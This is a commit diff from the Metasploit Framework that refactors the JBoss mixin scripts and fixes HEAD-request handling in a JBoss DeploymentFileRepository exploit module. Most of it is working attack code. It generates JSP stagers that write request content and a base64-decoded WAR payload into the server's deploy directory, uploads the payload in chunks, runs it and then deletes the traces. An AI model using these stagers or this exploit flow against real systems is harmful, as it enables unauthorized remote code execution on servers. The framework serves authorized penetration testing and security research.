Fix problem with HEAD requests
Split lib/msf/http/jboss/script into lib/msf/http/jboss/deployment_file_repository_scripts.rb and lib/msf/http/jboss/bean_shell_scripts.rb asbug/bundler_fix
parent
abdd72e8c6
commit
283e83028f
|
@ -5,15 +5,17 @@ module Msf
|
||||||
module HTTP
|
module HTTP
|
||||||
module JBoss
|
module JBoss
|
||||||
require 'msf/http/jboss/base'
|
require 'msf/http/jboss/base'
|
||||||
require 'msf/http/jboss/scripts'
|
|
||||||
require 'msf/http/jboss/bean_shell'
|
require 'msf/http/jboss/bean_shell'
|
||||||
|
require 'msf/http/jboss/bean_shell_scripts'
|
||||||
require 'msf/http/jboss/deployment_file_repository'
|
require 'msf/http/jboss/deployment_file_repository'
|
||||||
|
require 'msf/http/jboss/deployment_file_repository_scripts'
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::HTTP::JBoss::Base
|
include Msf::HTTP::JBoss::Base
|
||||||
include Msf::HTTP::JBoss::Scripts
|
|
||||||
include Msf::HTTP::JBoss::BeanShell
|
include Msf::HTTP::JBoss::BeanShell
|
||||||
|
include Msf::HTTP::JBoss::BeanShellScripts
|
||||||
include Msf::HTTP::JBoss::DeploymentFileRepository
|
include Msf::HTTP::JBoss::DeploymentFileRepository
|
||||||
|
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf::HTTP::JBoss::Scripts
|
module Msf::HTTP::JBoss::BeanShellScripts
|
||||||
|
|
||||||
# Generates a Bean Shell Script.
|
# Generates a Bean Shell Script.
|
||||||
#
|
#
|
||||||
|
@ -19,43 +19,6 @@ module Msf::HTTP::JBoss::Scripts
|
||||||
bean_shell
|
bean_shell
|
||||||
end
|
end
|
||||||
|
|
||||||
# Generate a stager JSP to write the second stager to the
|
|
||||||
# deploy/management direcotry. It is only used with HEAD/GET requests
|
|
||||||
# to overcome the size limit in those requests
|
|
||||||
#
|
|
||||||
# @param stager_base [String] The name of the base of the stager.
|
|
||||||
# @param stager_jsp [String] The name name of the jsp stager.
|
|
||||||
# @return [String] The JSP head stager.
|
|
||||||
def head_stager_jsp(stager_base, stager_jsp)
|
|
||||||
content_var = rand_text_alpha(8+rand(8))
|
|
||||||
file_path_var = rand_text_alpha(8+rand(8))
|
|
||||||
jboss_home_var = rand_text_alpha(8+rand(8))
|
|
||||||
fos_var = rand_text_alpha(8+rand(8))
|
|
||||||
bw_var = rand_text_alpha(8+rand(8))
|
|
||||||
head_stager_jsp_code = <<-EOT
|
|
||||||
<%@page import="java.io.*,
|
|
||||||
java.util.*"
|
|
||||||
%>
|
|
||||||
<%
|
|
||||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
|
||||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
|
|
||||||
if (request.getParameter("#{content_var}") != null) {
|
|
||||||
try {
|
|
||||||
String parameterName = (String)(request.getParameterNames().nextElement());
|
|
||||||
#{content_var} = request.getParameter(parameterName);
|
|
||||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
|
||||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
|
||||||
#{bw_var}.write(#{content_var});
|
|
||||||
#{bw_var}.close();
|
|
||||||
}
|
|
||||||
catch(Exception e) { }
|
|
||||||
}
|
|
||||||
%>
|
|
||||||
EOT
|
|
||||||
|
|
||||||
head_stager_jsp
|
|
||||||
end
|
|
||||||
|
|
||||||
# Generate a stager JSP to write a WAR file to the deploy/ directory.
|
# Generate a stager JSP to write a WAR file to the deploy/ directory.
|
||||||
# This is used to bypass the size limit for GET/HEAD requests.
|
# This is used to bypass the size limit for GET/HEAD requests.
|
||||||
#
|
#
|
|
@ -0,0 +1,76 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||||
|
|
||||||
|
# Generate a stager JSP to write the second stager to the
|
||||||
|
# deploy/management direcotry. It is only used with HEAD/GET requests
|
||||||
|
# to overcome the size limit in those requests
|
||||||
|
#
|
||||||
|
# @param stager_base [String] The name of the base of the stager.
|
||||||
|
# @param stager_jsp [String] The name name of the jsp stager.
|
||||||
|
# @return [String] The JSP head stager.
|
||||||
|
def head_stager_jsp(stager_base, stager_jsp_name)
|
||||||
|
content_var = rand_text_alpha(8+rand(8))
|
||||||
|
file_path_var = rand_text_alpha(8+rand(8))
|
||||||
|
jboss_home_var = rand_text_alpha(8+rand(8))
|
||||||
|
fos_var = rand_text_alpha(8+rand(8))
|
||||||
|
bw_var = rand_text_alpha(8+rand(8))
|
||||||
|
head_stager_jsp_code = <<-EOT
|
||||||
|
<%@page import="java.io.*,
|
||||||
|
java.util.*"
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||||
|
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
|
||||||
|
try {
|
||||||
|
String #{content_var} = "";
|
||||||
|
String parameterName = (String)(request.getParameterNames().nextElement());
|
||||||
|
#{content_var} = request.getParameter(parameterName);
|
||||||
|
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||||
|
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||||
|
#{bw_var}.write(#{content_var});
|
||||||
|
#{bw_var}.close();
|
||||||
|
}
|
||||||
|
catch(Exception e) { }
|
||||||
|
%>
|
||||||
|
EOT
|
||||||
|
head_stager_jsp_code
|
||||||
|
end
|
||||||
|
|
||||||
|
# Generate a stager JSP to write a WAR file to the deploy/ directory.
|
||||||
|
# This is used to bypass the size limit for GET/HEAD requests.
|
||||||
|
#
|
||||||
|
# @param app_base [String] The name of the WAR app to write.
|
||||||
|
# @return [String] The JSP stager.
|
||||||
|
def stager_jsp(app_base, encoded_payload)
|
||||||
|
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
|
||||||
|
stager_jsp = <<-EOT
|
||||||
|
<%@page import="java.io.*,
|
||||||
|
java.util.*,
|
||||||
|
sun.misc.BASE64Decoder"
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||||
|
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
|
||||||
|
try {
|
||||||
|
String #{content_var} = "#{encoded_payload}";
|
||||||
|
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
||||||
|
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
||||||
|
#{fos_var}.write(#{decoded_var});
|
||||||
|
#{fos_var}.close();
|
||||||
|
}
|
||||||
|
catch(Exception e){ }
|
||||||
|
%>
|
||||||
|
EOT
|
||||||
|
|
||||||
|
stager_jsp
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
end
|
|
@ -84,12 +84,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
||||||
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
||||||
stager_base = rand_text_alpha(8+rand(8))
|
stager_base = rand_text_alpha(8+rand(8))
|
||||||
stager_jsp = rand_text_alpha(8+rand(8))
|
stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||||
|
|
||||||
p = payload
|
p = payload
|
||||||
mytarget = target
|
mytarget = target
|
||||||
|
|
||||||
if (datastore['VERB'] == 'HEAD')
|
if (http_verb == 'HEAD')
|
||||||
print_status("Unable to automatically select a target with HEAD requests")
|
print_status("Unable to automatically select a target with HEAD requests")
|
||||||
else
|
else
|
||||||
if (target.name =~ /Automatic/)
|
if (target.name =~ /Automatic/)
|
||||||
|
@ -120,27 +120,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
}).to_s
|
}).to_s
|
||||||
|
|
||||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||||
|
stager_contents = stager_jsp(app_base, encoded_payload)
|
||||||
|
|
||||||
# Depending on the type on the verb we might use a second stager
|
# Depending on the type on the verb we might use a second stager
|
||||||
if datastore['VERB'] == "POST" then
|
if http_verb == "POST" then
|
||||||
print_status("Deploying stager for the WAR file")
|
print_status("Deploying stager for the WAR file")
|
||||||
stager_contents = stager_jsp(app_base)
|
res = upload_file(stager_base, stager_jsp_name, stager_contents)
|
||||||
res = upload_file(stager_base, stager_jsp, stager_contents)
|
|
||||||
else
|
else
|
||||||
print_status("Deploying minimal stager to upload the payload")
|
print_status("Deploying minimal stager to upload the payload")
|
||||||
head_stager_jsp_name = rand_text_alpha(8+rand(8))
|
head_stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||||
head_stager_contents = head_stager_jsp(stager_base, stager_jsp)
|
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
|
||||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
|
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp?"
|
||||||
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
|
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
|
||||||
|
|
||||||
# We split the stager_jsp_code in multipe junks and transfer on the
|
# We split the stager_jsp_code in multipe junks and transfer on the
|
||||||
# target with multiple requests
|
# target with multiple requests
|
||||||
current_pos = 0
|
current_pos = 0
|
||||||
while current_pos < stager_jsp_code.length
|
while current_pos < stager_contents.length
|
||||||
next_pos = current_pos + 5000 + rand(100)
|
next_pos = current_pos + 5000 + rand(100)
|
||||||
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
|
junk = "arg0=" + Rex::Text.uri_encode(stager_contents[current_pos,next_pos])
|
||||||
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
|
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
|
||||||
res = deploy('uri' => head_stager_uri + junk)
|
res = deploy('uri' => head_stager_uri + junk)
|
||||||
current_pos += next_pos
|
current_pos += next_pos
|
||||||
end
|
end
|
||||||
|
@ -152,11 +150,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# but the file still gets written.
|
# but the file still gets written.
|
||||||
if (res.code == 200 || res.code == 500)
|
if (res.code == 200 || res.code == 500)
|
||||||
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
||||||
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
|
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
||||||
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
|
|
||||||
stager_res = deploy('uri' => stager_uri,
|
stager_res = deploy('uri' => stager_uri,
|
||||||
'data' => payload_data,
|
'method' => 'GET')
|
||||||
'method' => http_verb)
|
|
||||||
|
|
||||||
print_status("Try to call the deployed payload")
|
print_status("Try to call the deployed payload")
|
||||||
# Try to execute the payload by calling the deployed WAR file
|
# Try to execute the payload by calling the deployed WAR file
|
||||||
|
@ -169,10 +165,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# The WAR can only be removed by physically deleting it, otherwise it
|
# The WAR can only be removed by physically deleting it, otherwise it
|
||||||
# will get redeployed after a server restart.
|
# will get redeployed after a server restart.
|
||||||
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
||||||
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
|
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||||
delete_res = []
|
delete_res = []
|
||||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
|
if head_stager_jsp_name
|
||||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
|
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp_name, '.jsp')
|
||||||
|
end
|
||||||
|
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp_name, '.jsp')
|
||||||
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
|
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
|
||||||
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
|
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
|
||||||
delete_res.each do |res|
|
delete_res.each do |res|
|
||||||
|
|
Loading…
Reference in New Issue